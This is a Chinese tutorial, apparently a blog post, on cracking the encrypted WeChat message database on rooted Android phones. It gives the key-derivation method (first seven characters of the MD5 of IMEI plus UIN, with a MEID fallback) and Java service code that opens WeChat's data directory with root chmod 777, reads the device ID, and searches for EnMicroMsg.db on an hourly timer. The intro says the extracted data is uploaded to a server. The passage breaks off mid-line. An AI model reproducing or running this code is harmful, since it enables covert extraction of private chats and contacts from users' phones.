由于工作需求破解了微信的数据库 并获取想要的信息上传服务器 都是内部手机 网上大神反编译了微信 发现微信的数据库是通过
手机的IMEI(唯一识别码) + UIN 大写的IMEI + UIN 进行MD5加密 取32位小写 的前7位就是破解数据库的密码
这是核心原理 根据这个 可以手动获取IMEI 加上UIN 通过 http://tool.chinaz.com/Tools/MD5.aspx线上加密
手动破解不用写代码这种
IMEI 应该不用我说 设置里自己去看 下载三方软件也可以看
至于 UIN 是在 data data com.tencent.mm shared_prefs 文件里的
aunt_info_key_prefs.xml 在这个文件里的 value 值就是了 我们要找到Uin
还有一个问题 网上提及的很少 微信的数据库加密是通过getDeviceID 这个函数会随机获取 IMEI 1 IMEI2 和MEID 进行加密 我已经确认了
肯定不会获取 IMEI2 只会通过默认卡1 IMEI1 和MEID进行 加密 如果破解失败可以用MEID 尝试进行破解 我在下面的连接数据库那做了这个机制
失败就走 MEID试一遍 MEID无法直接获取 我们都是手动获取的把MEID放在文件里 进行读取
接下来就是写代码了 微信数据库也是比较火 网上资料不少的 我也是参考了好多
[java] view plain copy
public static final String WX_ROOT_PATH = “/data/data/com.tencent.mm/”;
// U ID 文件路径
private static final String WX_SP_UIN_PATH = WX_ROOT_PATH + “shared_prefs/auth_info_key_prefs.xml”;
private String mDbPassword;
// 提交参数
private int count=0;
private String IMEI;
private String Uin;
private static final String WX_DB_DIR_PATH = WX_ROOT_PATH + “MicroMsg”;
private List mWxDbPathList = new ArrayList<>();
private static final String WX_DB_FILE_NAME = “EnMicroMsg.db”;
private String mCurrApkPath = “/data/data/” + MyApplication.getContextObject().getPackageName() + “/”;
private static final String COPY_WX_DATA_DB = “wx_data.db”;
// 我是放在了服务里 做了延迟每隔一个小时破解一次 可以去掉
d
public void onCreate() {
super.onCreate();
// 获取root权限
execRootCmd(“chmod -R 777 ” + WX_ROOT_PATH);
execRootCmd(“chmod 777 /data/data/com.tencent.mm/shared_prefs/auth_info_key_prefs.xml”);
Toast.makeText(this,”开启服务”,Toast.LENGTH_LONG).show();
Timer timer = new Timer();
timer.schedule(new TimerTask() {
@Override
public void run() {
// 获取微信的U id
initCurrWxUin();
//sqlt= (EditText) findViewById(sqlt);
// 获取 IMEI 唯一识别码
TelephonyManager phone = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE);
IMEI = phone.getDeviceId();
System.out.println("IMEI"+IMEI);
// 根据imei和uin生成的md5码,获取数据库的密码(去前七位的小写字母)
initDbPassword(IMEI, Uin);
System.out.println(mDbPassword + "数据库的密码");
System.out.println("开始统计好友数量");
// 递归查询微信本地数据库文件
File wxDataDir = new File(WX_DB_DIR_PATH);
mWxDbPathList.clear();
searchFile(wxDataDir, WX_DB_FILE_NAME);
System.out.prin